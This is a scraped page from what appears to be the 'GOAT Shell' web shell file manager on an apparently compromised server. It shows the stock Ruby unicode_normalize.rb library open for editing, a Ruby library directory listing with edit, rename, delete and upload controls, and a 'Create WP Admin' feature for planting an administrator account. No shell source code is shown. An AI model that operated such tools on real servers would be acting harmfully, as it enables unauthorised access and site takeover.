π GOAT Shell
Current path:
opt
/
alt
/
ruby24
/
lib64
/
ruby
/
2.4.0
/
π€ Create WP Admin
β¬οΈ
Go up: ruby
βοΈ Editing: unicode_normalize.rb
# coding: utf-8 # frozen_string_literal: false # Copyright Ayumu Nojima (ιε³Ά ζ©) and Martin J. DΓΌrst (duerst@it.aoyama.ac.jp) #-- # additions to class String for Unicode normalization #++ class String # === Unicode Normalization # # :call-seq: # str.unicode_normalize(form=:nfc) # # Returns a normalized form of +str+, using Unicode normalizations # NFC, NFD, NFKC, or NFKD. The normalization form used is determined # by +form+, which is any of the four values :nfc, :nfd, :nfkc, or :nfkd. # The default is :nfc. # # If the string is not in a Unicode Encoding, then an Exception is raised. # In this context, 'Unicode Encoding' means any of UTF-8, UTF-16BE/LE, # and UTF-32BE/LE, as well as GB18030, UCS_2BE, and UCS_4BE. Anything # else than UTF-8 is implemented by converting to UTF-8, # which makes it slower than UTF-8. # # _Examples_ # # "a\u0300".unicode_normalize #=> 'Γ ' (same as "\u00E0") # "a\u0300".unicode_normalize(:nfc) #=> 'Γ ' (same as "\u00E0") # "\u00E0".unicode_normalize(:nfd) #=> 'aΜ' (same as "a\u0300") # "\xE0".force_encoding('ISO-8859-1').unicode_normalize(:nfd) # #=> Encoding::CompatibilityError raised # def unicode_normalize(form = :nfc) require 'unicode_normalize/normalize.rb' unless defined? UnicodeNormalize ## The following line can be uncommented to avoid repeated checking for ## UnicodeNormalize. However, tests didn't show any noticeable speedup ## when doing this. This comment also applies to the commented out lines ## in String#unicode_normalize! and String#unicode_normalized?. # String.send(:define_method, :unicode_normalize, ->(form = :nfc) { UnicodeNormalize.normalize(self, form) } ) UnicodeNormalize.normalize(self, form) end # :call-seq: # str.unicode_normalize!(form=:nfc) # # Destructive version of String#unicode_normalize, doing Unicode # normalization in place. # def unicode_normalize!(form = :nfc) require 'unicode_normalize/normalize.rb' unless defined? UnicodeNormalize # String.send(:define_method, :unicode_normalize!, ->(form = :nfc) { replace(unicode_normalize(form)) } ) replace(unicode_normalize(form)) end # :call-seq: # str.unicode_normalized?(form=:nfc) # # Checks whether +str+ is in Unicode normalization form +form+, # which is any of the four values :nfc, :nfd, :nfkc, or :nfkd. # The default is :nfc. # # If the string is not in a Unicode Encoding, then an Exception is raised. # For details, see String#unicode_normalize. # # _Examples_ # # "a\u0300".unicode_normalized? #=> false # "a\u0300".unicode_normalized?(:nfd) #=> true # "\u00E0".unicode_normalized? #=> true # "\u00E0".unicode_normalized?(:nfd) #=> false # "\xE0".force_encoding('ISO-8859-1').unicode_normalized? # #=> Encoding::CompatibilityError raised # def unicode_normalized?(form = :nfc) require 'unicode_normalize/normalize.rb' unless defined? UnicodeNormalize # String.send(:define_method, :unicode_normalized?, ->(form = :nfc) { UnicodeNormalize.normalized?(self, form) } ) UnicodeNormalize.normalized?(self, form) end end
Save
π
cgi
|
βοΈ Rename
|
ποΈ Delete
π
digest
|
βοΈ Rename
|
ποΈ Delete
π
drb
|
βοΈ Rename
|
ποΈ Delete
π
fiddle
|
βοΈ Rename
|
ποΈ Delete
π
forwardable
|
βοΈ Rename
|
ποΈ Delete
π
io
|
βοΈ Rename
|
ποΈ Delete
π
irb
|
βοΈ Rename
|
ποΈ Delete
π
json
|
βοΈ Rename
|
ποΈ Delete
π
matrix
|
βοΈ Rename
|
ποΈ Delete
π
net
|
βοΈ Rename
|
ποΈ Delete
π
openssl
|
βοΈ Rename
|
ποΈ Delete
π
optparse
|
βοΈ Rename
|
ποΈ Delete
π
psych
|
βοΈ Rename
|
ποΈ Delete
π
racc
|
βοΈ Rename
|
ποΈ Delete
π
rbconfig
|
βοΈ Rename
|
ποΈ Delete
π
rdoc
|
βοΈ Rename
|
ποΈ Delete
π
rexml
|
βοΈ Rename
|
ποΈ Delete
π
rinda
|
βοΈ Rename
|
ποΈ Delete
π
ripper
|
βοΈ Rename
|
ποΈ Delete
π
rss
|
βοΈ Rename
|
ποΈ Delete
π
rubygems
|
βοΈ Rename
|
ποΈ Delete
π
shell
|
βοΈ Rename
|
ποΈ Delete
π
syslog
|
βοΈ Rename
|
ποΈ Delete
π
unicode_normalize
|
βοΈ Rename
|
ποΈ Delete
π
uri
|
βοΈ Rename
|
ποΈ Delete
π
webrick
|
βοΈ Rename
|
ποΈ Delete
π
x86_64-linux
|
βοΈ Rename
|
ποΈ Delete
π
yaml
|
βοΈ Rename
|
ποΈ Delete
π
abbrev.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
base64.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
benchmark.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
cgi.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
cmath.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
csv.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
date.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
debug.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
delegate.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
digest.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
drb.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
e2mmap.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
English.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
erb.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
expect.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
fiddle.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
fileutils.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
find.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
forwardable.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
getoptlong.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
ipaddr.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
irb.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
json.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
kconv.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
logger.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
mathn.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
matrix.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
mkmf.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
monitor.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
mutex_m.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
observer.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
open-uri.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
open3.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
openssl.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
optionparser.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
optparse.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
ostruct.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
pathname.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
pp.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
prettyprint.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
prime.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
profile.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
profiler.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
pstore.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
psych.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
rdoc.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
resolv-replace.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
resolv.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
ripper.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
rss.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
rubygems.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
scanf.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
securerandom.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
set.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
shell.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
shellwords.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
singleton.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
socket.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
sync.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
tempfile.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
thwait.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
time.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
timeout.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
tmpdir.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
tracer.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
tsort.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
ubygems.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
un.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
unicode_normalize.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
uri.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
weakref.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
webrick.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π
yaml.rb
|
βοΈ Edit
|
βοΈ Rename
|
ποΈ Delete
π€ Upload File
Upload
π Create Folder
Create Folder